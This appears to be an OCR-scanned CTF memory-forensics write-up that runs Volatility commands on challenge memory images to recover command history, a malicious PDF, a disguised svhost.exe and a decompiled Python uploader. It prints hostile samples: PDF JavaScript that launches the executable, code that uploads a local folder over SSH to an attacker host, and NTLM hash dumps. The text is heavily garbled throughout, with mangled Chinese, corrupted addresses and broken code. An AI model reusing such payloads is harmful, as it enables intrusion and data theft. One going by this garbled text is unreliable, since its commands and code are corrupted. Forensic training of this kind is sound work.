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volatility.exe -f C:\Users\shen\Downloads\mem.raw imageinfo
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volatility.exe -f C:\Users\shen\Downloads\mem.raw --profile=Win7SP1x86_ 23418 pslist > pslist.txt

WEHRTE, &E-NFEEEEHMdumpit&ARwindowsiZ1T)E Eiflexe, T LHA=ARMERER

0x83cPad40 TrueCrypt.exe 3364
0x837f5d40 notepad.exe 3552
0x82a7e568 iexplore.exe 3640
0x847c8030 iexplore.exe 3696
0x848a7030 mspaint.exe 2648
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2.volatility

volatility.exe -f C:\Users\shen\Desktop\mem.raw imageinfo
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volatility.exe -f C:\Users\shen\Desktop\mem.raw --profile=Win7SP1x64 cmdscan

Volatility Foundation Volatility Framework 2.6
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CommandProcess: conhost.exe Pid: 1588

CommandHistory: 0x117120 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 13 LastAdded: 12 LastDisplayed: 12
FirstCommand: © CommandCountMax: 50

ProcessHandle: 0x60

Cmd #0 @ 0x109cfO@: dir

Cmd #1 @ 0x108290: ipconfig

Cmd #2 @ Oxf8bdo: ipconfig 192.168.26.2

Cmd #3 @ O0x116aa@: ping newsctf.top

Cmd #4 @ 0x1082d0: network

Cmd #5 @ 0x1082f0@: net user

Cmd #6 @ Oxf8c50: net user Guest 123456789

Cmd #7 @ ©xf8c90: net user mumuzi (1ljmmz)ovo

Cmd #8 @ 0x108350: clear

Cmd #9 @ Ox116a40: if_you_see_it,

Cmd #10 @ 0xf8cd@: you_will find_the_flag

Cmd #11 @ 0x116ad0@: where_is_the_flag?

Cmd #12 @ 0x1178d0: net user Administrator flag_not_here
Cmd #29 @ 0x90158: ¢

Cmd #30 @ 0x10f920: »
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CommandProcess: conhost.exe Pid: 2824

CommandHistory: 0x357140 Application: DumpIt.exe Flags: Allocated
CommandCount: @ LastAdded: -1 LastDisplayed: -1
FirstCommand: © CommandCountMax: 50

ProcessHandle: 0x60

Cmd #29 @ ©x2d@158: 5

Cmd #30 @ 0x34f940: 4

4R %R & (1jmmz )ovo
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A volatility.exe -f C:\Users\shen\Desktop\E AKIEM.raw imageinfo
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iehistory #RE|—/FEEHhello. pdf
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Process: 2620 explorer.exe

Cache type "DEST" at ©x3761c73

Last modified: 2021-04-23 10:52:57 UTC+0000

Last accessed: 2021-04-23 02:52:58 UTC+0000

URL: fei@file:///C:/Users/fei/Desktop/hello.pdf
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filescan
0x000000007e8a3120 3 @ R--rw- \Device\HarddiskVolumel\Users\fei\Desktop\hello.pdf

dumpfilesBX T3

volatility.exe -f C:\Users\shen\Desktop\f@AH K .raw --profile=Win7SP1x64 dumpfiles -Q ©
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35 9 0 obj
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47 /s8/JdavaScript
98 /IS (app.opencPDEWebPagel (" Ci\\V\WWindows\ A\ Bystem32Z\\\\svhost.zip\\\\avhost.exe™\ | )
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filescan RIEFAsvhost.exe

0x0000000036131600 3 @ R--r-d \Device\HarddiskVolumel®pBEgE2@\svhost.exe

0x000000007e3a4730 1 @ R--rw- \Device\HarddiskVolumel\Users\fei\AppData\Local\Temp\360zip$Temp\360%$2\s
vhost.exe

dumpfiles
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0x000000007e14e320 1 @ R--rw- \Device\HarddiskVolumel\Windows\svhost.zip

0x000000007e0ed9d0 1 1 R--r-- \Device\HarddiskVolumel\Program Files\svhost.zip
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import os,sys
filepath=r'.\transfer.pyc"'
with open(filepath, 'r+b') as program: #ZIEEwEIEXIEES, r+ B HEFH P2
with open(".\struct.pyc",'rb"') as struct:
magic=struct.read(12)
program.seek(0) # X /f75Ef =) EEF
program.write(magic)
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pip install uncompyle6
uncompyle6 -o JRiB%iH4.py test.pyc
B

uncompyle6 transfer.pyc > transfer.py
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'192.168.0.129"
username = 'fei'

hostname

password =
port = 22

if __name__ == '__main__ ":
local_dir = 'C:\\Program Files\\setups'
remote_dir = '/home/share/’

upload(local_dir, remote_dir)

MR35 I 4 B hacker.zipfIvERE the password would be hacker's ip + hacker's hostname 33| H R E %Y 192.168.0.129fei
Hznetscanm] LLE 2| Svchost.exe (J&H &svhost.exe)
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Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089¢O: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089¢O: : :
fei:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089¢O: : :
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:17ffcf031e518991aeb4a53bal2c25d7: ::
Hush:1003:aad3b435b51404eeaad3b435b51404ee:70bebbbble6c208c44e8288fd5baaedd: : :

Guestflifei /& 4% %% HomeGroupUser$ & K EE4H B 4 H
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from PIL import Image

for i in range(224,242):
for j in range(59,61):
img = Image.open('result.png')
img = img.resize((i,j),Image.NEAREST)
img.save(str(i) + 'x' + str(j) + '.png')
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